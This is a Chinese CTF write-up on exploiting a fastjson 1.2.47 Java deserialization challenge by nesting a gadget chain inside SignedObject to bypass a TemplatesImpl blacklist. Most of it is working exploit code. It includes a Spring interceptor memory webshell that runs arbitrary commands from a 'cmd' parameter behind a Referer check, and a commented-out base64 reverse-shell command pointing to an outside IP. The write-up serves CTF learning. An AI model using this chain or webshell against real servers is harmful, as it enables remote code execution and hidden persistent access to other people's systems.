[车联网题目]二次反序列化+fastjson的CTF题目
某**赛题,题目给了一个expr.jar
文件
使用idea
打开jar
包,首先对jar
包进行审计,一般情况下,我们会选择先看看依赖,因为有的依赖是存在漏洞的,通过一定的组合就可以进行利用,可以发现其中存在:
- fastjson-1.2.47
- snakeyaml-1.29.jar
- ongl 3.1.21
- jackson
而这些都是存在漏洞的版本,例如fastjson-1.2.47
,就存在fastjson
反序列化漏洞可以实现rce
,但是题目很明显不会这么简单就让我们实现利用的,接下来就去看一下题目的源码以及配置
首先在pom.xml
中,我们看到,有引入的依赖为
所以在这里我们基本可以确定要打的就是这个两个依赖,接下来就开始进行java的代码审计:
首先是controller
部分,我们传入的data
会经过一个SecureUtil
的处理,然后再进行readObject
进行反序列化,这里我们来看一下SecureUtil
做了什么处理:
其实就是过滤了这两个类
这两个类有什么作用呢?
- 这两个类都是我们在构造反序列化利用链中的终点,也就是实现命令执行的类,因此禁用了这两个类,我们就需要进行绕过,否则就无法实现
RCE
绕过思路:
1.寻找替代类——现在能打通的类也就这两个,因此基本上不存在能替代的类,所以这个方案行不通
2.二次反序列化绕过
二次反序列化:
**原理:由于黑名单仅检测第一次反序列化的结果是否含有危险类,不检测第二次反序列化的结果,所以就可以实现绕过**
实现:二次反序列化,顾名思义,我们就是需要找到能够实现两次反序列化的地方,第一个地方很明显就是题目一开始的地方:
接下来我们就需要找到一条链子,能够在第一次反序列化的时候,跳转到另一个反序列化的入口,然后执行我们的恶意反序列化链条payload
那么接下来我们需要解决以下几个问题:
- 第一次反序列化的链子应该如何构造?
- 第二次反序列化的链子应该如何构造?
第一次反序列化链子
第一次反序列化的链子的目的是找到第二次反序列化的入口
熟悉fastjson
反序列化链条以及java反序列化链子挖掘思路的话其实很容易就可以想到:
fastjson
反序列化有一条链子就是通过BadAttributeValueExpException#readObject
BadAttributeValueExpException#readObject
JSONObject#toString
此时我们将valObj
赋值为JSONObject
这个类,那么就会跳转到JSON#toString
(存在一个调用链:JSONObject#toString/JSON#toString
)方法,在Json
这里就会触发fastjson
的漏洞,触发get
方法
我们接下来针对这条路径深入分析一下,就可以发现其中的用处了:
跟着下面的路径,最终会来到这里的get
方法
JSON#toString
JSON#toJSONString
JSONSerializer#write
SerializeConfig#getObjectWriter
在这里的get
方法,会触发当前序列化的类中的所有get
方法(值得一提的事,这个get
方法指的是getxxx()
方法,而不单纯是get()
)
那么其实现在目标就很明确了:
我们通过以下调用链构造第一条链子跳转至能够调用任意get
方法的,接下来就找,有哪个类里面的get
方法存在readObject
方法可以实现反序列化
BadAttributeValueExpException#readObject
JSONObject#toString
第二次反序列化链子
接下来我们就是要找到一个类,并且满足:
- 有
get
方法 get
方法里面能够直接或间接调用readObject()
而这个类就是⽤SignedObject#getObject
接下来我们就将我们的能够执行命令的调用了黑名单所限制的类的链条的序列化数据传到这里,进行反序列化,就可以实现RCE
了,而这里的链条就很简单了,因为有fastjson
的依赖包,所以我们直接用fastjson1.2.48
的RCE
链条就行
BadAttributeValueExpException#readObject
JSONArray#toString
TemplatesImpl#getOutputProperties
TemplatesImpl#newTransformer
TemplatesImpl#getTransletInstance
TemplatesImpl#defineTransletClasses
TemplatesImpl#defineClass
所以总结起来就是
* 绕过第一次的TemplatesImpl黑名单检查
BadAttributeValueExpException#readObject
JSONOBJECT#toString
SignedObject#getObject
* 二次反序列化
* 引用绕过JSON自带resolveClass的黑名单检查
BadAttributeValueExpException#readObject
JSONArray#toString
TemplatesImpl#getOutputProperties
TemplatesImpl#newTransformer
TemplatesImpl#getTransletInstance
TemplatesImpl#defineTransletClasses
TemplatesImpl#defineClass
exp构造
因为第二个链子的嵌套在第一个里面的,所以我们先构造第二个:
BadAttributeValueExpException#readObject
JSONArray#toString
TemplatesImpl#getOutputProperties
TemplatesImpl#newTransformer
TemplatesImpl#getTransletInstance
TemplatesImpl#defineTransletClasses
TemplatesImpl#defineClass
将上面的链子转化为代码就是以下这些,这个也是网上现成的fastjson
打反序列化的现成链子
TemplatesImpl templates = (TemplatesImpl) getTempalteslmpl();
JSONArray jsonArray2 = new JSONArray();
jsonArray2.add(templates);
BadAttributeValueExpException val2 = new BadAttributeValueExpException(null);
Field valfield2 = val2.getClass().getDeclaredField("val");
valfield2.setAccessible(true);
valfield2.set(val2, jsonArray2);
KeyPairGenerator keyPairGenerator;
keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signingEngine = Signature.getInstance("DSA");
接下来是第一个链子:
BadAttributeValueExpException#readObject
JSONOBJECT#toString
SignedObject#getObject
这里就是第一个链子
SignedObject so = null;
so = new SignedObject(val2, privateKey, signingEngine);
JSONArray jsonArray = new JSONArray();
jsonArray.add(so);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, jsonArray);
serialize(val);
System.out.println(string);
将这两个链子组合在一起的关键步骤就是
so = new SignedObject(val2, privateKey, signingEngine);
接下来就是命令执行了:由于本题不出网,无法反弹shell
,所以我们只能构造内存马
,直接用以下模板即可,然后将其编译为.class
文件即可
package com.ctf.expr;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.beans.BeansException;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;
import javax.servlet.ServletContext;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class SpringInterceptor extends AbstractTranslet implements
HandlerInterceptor{
static {
try {
//获取ApplicationContext
WebApplicationContext context = null;
try{
//获取Child ApplicationContext
context =
(WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
}catch (Exception exception){
//获取Root ApplicationContext
Class webApplicationContextUtilsClass = Class.forName("org.springframework.web.context.support.WebApplicationContextUtils");
Method getWebApplicationContext = webApplicationContextUtilsClass.getDeclaredMethod("getWebApplicationContext", ServletContext.class);
getWebApplicationContext.setAccessible(true);
ServletContext servletContext = ((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getRequest().getSession().getServletContext();
context = (WebApplicationContext)
getWebApplicationContext.invoke(null, servletContext);
}
//获取HandlerMapping,旧版本是RequestMappingHandlerMapping,新版本是DefaultAnnotationHandlerMapping
org.springframework.web.servlet.handler.AbstractHandlerMapping handlerMapping = null;
try {
Class<?> RequestMappingHandlerMapping = Class.forName("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping");
handlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping) context.getBean(RequestMappingHandlerMapping);
}catch(BeansException exception){
Class<?> DefaultAnnotationHandlerMapping = Class.forName("org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping");
handlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping) context.getBean(DefaultAnnotationHandlerMapping);
}
//添加HandlerInterceptor
Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>) field.get(handlerMapping);
adaptedInterceptors.add(new SpringInterceptor());
}catch (Exception exception){
exception.printStackTrace();
}
}
public boolean preHandle(HttpServletRequest request, HttpServletResponse
response, Object handler) throws Exception {
if(request.getHeader("Referer").equals("https://www.baidu.com/")){
String cmd = request.getParameter("cmd");
PrintWriter writer = response.getWriter();
if (cmd != null) {
String[] commands = null;
if
(System.getProperty("os.name").toLowerCase().contains("win")) {
Runtime.getRuntime().exec("calc");
commands = new String[]{"cmd", "/c", cmd};
} else {
commands = new String[]{"/bin/bash", "-c", cmd};
}
String result = "";
java.util.Scanner scanner = new java.util.Scanner(Runtime.getRuntime().exec(commands).getInputStream()).useDelimiter("\\A");
result = scanner.hasNext() ? scanner.next(): result;
System.out.println(result);
writer.println(result);
writer.flush();
writer.close();
}
return false;
}
return true;
}
@Override
public void postHandle(HttpServletRequest request, HttpServletResponse
response, Object handler, ModelAndView modelAndView) throws Exception {
HandlerInterceptor.super.postHandle(request, response, handler,
modelAndView);
}
@Override
public void afterCompletion(HttpServletRequest request,
HttpServletResponse response, Object handler, Exception ex) throws Exception
{
HandlerInterceptor.super.afterCompletion(request, response, handler,
ex);
}
@Override
public void transform(DOM document, SerializationHandler[] handlers)
throws TransletException {}
@Override
public void transform(DOM document, DTMAxisIterator iterator,
SerializationHandler handler) throws TransletException {} }
所以最终的payload
就是:
package com.ctf.expr;
import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.security.*;
import java.util.Base64;
import static ognl.Ognl.setValue;
public class exp {
public static String string;
public static void main(String[] args) throws Exception {
// ClassPool pool = ClassPool.getDefault();
// CtClass clazz = pool.makeClass("a");
// CtClass superClass = pool.get(AbstractTranslet.class.getName());
// clazz.setSuperclass(superClass);
// CtConstructor constructor = new CtConstructor(new CtClass[]{},clazz);
// constructor.setBody("java.lang.Runtime.getRuntime().exec(\"bash -c{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8zOS4xMDUuOC43Ny8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}\");");
// clazz.addConstructor(constructor);
// byte[][] bytes = new byte[][]{clazz.toBytecode()};
TemplatesImpl templates = (TemplatesImpl) getTempalteslmpl();
// setValue(templates, "_bytecodes", );
// setValue(templates, "_name", "y4tacker");
// setValue(templates, "_tfactory", new TransformerFactoryImpl());
JSONArray jsonArray2 = new JSONArray();
jsonArray2.add(templates);
BadAttributeValueExpException val2 = new BadAttributeValueExpException(null);
Field valfield2 = val2.getClass().getDeclaredField("val");
valfield2.setAccessible(true);
valfield2.set(val2, jsonArray2);
KeyPairGenerator keyPairGenerator;
keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signingEngine = Signature.getInstance("DSA");
SignedObject so = null;
so = new SignedObject(val2, privateKey, signingEngine);
JSONArray jsonArray = new JSONArray();
jsonArray.add(so);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, jsonArray);
serialize(val);
System.out.println(string);
// unserialize();
}
public static void setValue(Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException {
Class clazz=object.getClass();
Field declaredField=clazz.getDeclaredField(field_name);
declaredField.setAccessible(true);
declaredField.set(object,filed_value);
}
public static void serialize(Object object) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(object);
string = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
}
public static void unserialize() throws Exception {
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(Base64.getDecoder().decode(string));
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
public static byte[] getEvilBytes() throws Exception{
// byte[] bytes =ClassPool.getDefault().get("com.butler.TestCalc").toBytecode();
byte[] bytes = ClassPool.getDefault().get("com.ctf.expr.SpringInterceptor").toBytecode();
// byte[] bytes =ClassPool.getDefault().get("TouchFilea").toBytecode();
// ClassPool classPool = new ClassPool(true);
// CtClass helloAbstractTranslet =classPool.makeClass("HelloAbstractTranslet");
// CtClass ctClass =classPool.getCtClass("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
// helloAbstractTranslet.setSuperclass(ctClass);
// CtConstructor ctConstructor = new CtConstructor(new CtClass[]{},helloAbstractTranslet);
// ctConstructor.setBody("java.lang.Runtime.getRuntime().exec(newString[]{\"/bin/bash\",\"-c\",\"touch /tmp/hello\"});");
// helloAbstractTranslet.addConstructor(ctConstructor);
// byte[] bytes = helloAbstractTranslet.toBytecode();
// helloAbstractTranslet.detach();
return bytes;
}
public static Object getTempalteslmpl() throws Exception {
TemplatesImpl templates = new TemplatesImpl();
byte[] evilBytes = getEvilBytes();
setValue(templates,"_name","Hello");
setValue(templates,"_tfactory",new TransformerFactoryImpl());
setValue(templates,"_bytecodes",new byte[][]{evilBytes});
return templates;
} }
首先发送将exp发送过去
然后抓包,加上Referer
头即可(内存马里写的判断条件),然后?cmd=ls
执行命令